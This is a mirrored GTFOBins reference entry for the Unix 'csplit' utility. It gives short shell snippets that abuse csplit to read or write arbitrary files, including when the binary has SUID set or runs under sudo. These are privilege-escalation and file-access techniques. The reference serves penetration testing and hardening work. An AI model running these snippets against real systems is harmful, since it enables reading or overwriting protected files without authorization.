mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 23:09:46 +01:00
508f493cd1
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
26 lines
569 B
Markdown
26 lines
569 B
Markdown
---
|
|
functions:
|
|
file-read:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
csplit $LFILE 1
|
|
cat xx01
|
|
file-write:
|
|
- description: Writes the data to `xx0file_to_write`. If needed, a different prefix can be specified with `-f` (instead of `xx`).
|
|
code: |
|
|
TF=$(mktemp)
|
|
echo "DATA" > $TF
|
|
LFILE=file_to_write
|
|
csplit -z -b "%d$LFILE" $TF 1
|
|
suid:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
csplit $LFILE 1
|
|
cat xx01
|
|
sudo:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
csplit $LFILE 1
|
|
cat xx01
|
|
---
|